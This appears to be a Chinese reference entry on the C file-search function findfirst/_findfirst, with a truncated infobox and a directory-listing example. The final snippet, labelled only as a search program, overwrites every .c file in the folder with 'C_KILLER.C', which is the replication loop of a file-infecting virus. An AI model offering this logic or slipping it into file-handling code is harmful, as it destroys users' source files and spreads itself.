findfirst是一個計算機函式,功能是搜尋與指定的檔案名稱稱匹配的第一個實例,若成功則返回第一個實例的句柄,否則返回-1L。
基本介紹
- 中文名:findfirst
- 函式簡介:函式名稱:_findfirst
- 函式功能:搜尋與指定的檔案名稱稱匹
- 函式原型:long _findfirst( char *fil
函式原型
程式舉例
#include<io.h>#include<stdio.h>int main(){long Handle;struct _finddata_t FileInfo;if((Handle=_findfirst("D:\\*.txt",&FileInfo))==-1L)printf("沒有找到匹配的項目\n");else{printf("%s\n",FileInfo.name);while(_findnext(Handle,&FileInfo)==0)printf("%s\n",FileInfo.name);_findclose(Handle);}return0;}
系統下狀態
查找程式
struct ffblk ffblk; //聲名結構變數
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}